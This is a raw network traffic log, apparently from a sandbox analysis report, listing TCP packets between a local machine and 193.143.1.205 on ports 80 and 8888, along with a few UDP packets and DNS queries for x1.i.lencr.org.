Jan 10, 2025 22:03:17.598561049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598573923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598581076 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598589897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598603010 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598608017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598620892 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598725080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598824978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598845005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598858118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598869085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598881960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598893881 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598900080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598913908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598927975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598939896 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598953962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598957062 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598957062 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598968983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.599006891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.599006891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.599047899 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.599060059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.599077940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.599123955 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.599123955 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.605987072 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.612265110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.620496988 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620512962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620526075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620538950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620553970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620564938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620588064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.620588064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.620620966 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.620913982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620927095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620948076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620964050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620969057 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.620976925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620995045 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.620999098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621004105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621005058 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.621069908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621081114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621093035 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621094942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.621107101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621119976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621151924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.621177912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621190071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621197939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621202946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.621243000 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.621243954 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.639260054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639290094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639302015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639308929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.639324903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639338970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639352083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639353037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.639369965 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639386892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.639389038 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.639425039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650274038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650286913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650358915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650383949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650397062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650409937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650460005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650460005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650486946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650499105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650510073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650538921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650552988 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650564909 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650568962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650583982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650597095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650603056 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650609970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650623083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.650635958 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650664091 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.650731087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.673423052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673492908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673512936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673520088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673521996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673525095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673538923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673579931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.673588037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.673651934 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685010910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685024977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685038090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685049057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685070992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685081959 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685101986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685113907 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685122013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685126066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685132027 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685139894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685142994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685142994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685148001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685188055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685197115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685210943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685241938 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685271978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685290098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685297012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685298920 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685311079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685312986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685318947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685331106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685343981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685347080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685357094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685372114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685398102 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685398102 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685403109 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685414076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685426950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685442924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685451031 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685475111 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685487986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685502052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685513973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685520887 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685539007 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685599089 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685611963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685633898 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685697079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685707092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685892105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685904980 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685916901 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685929060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685941935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685952902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685956001 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685956001 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.685965061 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685986042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.685992002 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686005116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686018944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686036110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686043024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686043024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686049938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686057091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686058044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686059952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686074018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686095953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686100006 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686108112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686113119 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686121941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686134100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686147928 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686168909 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686170101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686203003 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686228991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686242104 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686254025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686265945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686281919 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686292887 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686305046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686310053 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686319113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686332941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686346054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686358929 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686368942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686368942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686372995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686414003 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686425924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686450005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686450005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686497927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686510086 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686522007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686536074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686548948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.686556101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686556101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.686585903 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.694237947 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.707968950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.707988024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708003044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708091021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708105087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708118916 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708132982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708173037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708173037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708205938 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708441019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708503008 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708615065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708632946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708650112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708662987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708674908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708687067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708693027 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708700895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708714962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708729982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708734989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708734989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708743095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708754063 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708755970 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708766937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708780050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.708836079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.708836079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.737886906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.737950087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.737998962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738012075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738030910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738045931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738046885 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.738065004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738078117 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738090038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738102913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738109112 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.738112926 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738123894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738136053 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738147020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738157988 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.738157988 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.738161087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738173962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738187075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.738229036 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.738229990 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.761244059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761272907 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761291981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761301994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.761305094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761317968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761331081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761344910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.761389017 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.761389017 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.761425972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772492886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772506952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772519112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772540092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772552013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772563934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772576094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772588968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772593975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772602081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772615910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772628069 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772628069 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772629023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772705078 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772717953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772731066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772742987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772742987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772749901 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772762060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772782087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772794962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772799015 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772799015 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772809029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772821903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772834063 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.772838116 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.772870064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.774091959 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.780196905 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.991534948 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:18.471282005 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:18.476152897 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:18.476274967 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:18.476551056 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:18.481379032 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:19.289346933 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:19.332211018 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:21.063971996 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:50.006340981 CET	63980	53	192.168.2.9	162.159.36.2
Jan 10, 2025 22:03:50.011111975 CET	53	63980	162.159.36.2	192.168.2.9
Jan 10, 2025 22:03:50.011248112 CET	63980	53	192.168.2.9	162.159.36.2
Jan 10, 2025 22:03:50.016074896 CET	53	63980	162.159.36.2	192.168.2.9
Jan 10, 2025 22:03:50.465480089 CET	63980	53	192.168.2.9	162.159.36.2
Jan 10, 2025 22:03:50.470542908 CET	53	63980	162.159.36.2	192.168.2.9
Jan 10, 2025 22:03:50.470639944 CET	63980	53	192.168.2.9	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:03:27.078617096 CET	63783	53	192.168.2.9	1.1.1.1
Jan 10, 2025 22:03:43.139928102 CET	61859	53	192.168.2.9	1.1.1.1
Jan 10, 2025 22:03:50.005650997 CET	53	64393	162.159.36.2	192.168.2.9
Jan 10, 2025 22:03:50.665025949 CET	53	65510	1.1.1.1	192.168.2.9
Jan 10, 2025 22:04:07.217894077 CET	50586	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:03:27.078617096 CET	192.168.2.9	1.1.1.1	0xa9b0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:03:43.139928102 CET	192.168.2.9	1.1.1.1	0x5c6a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
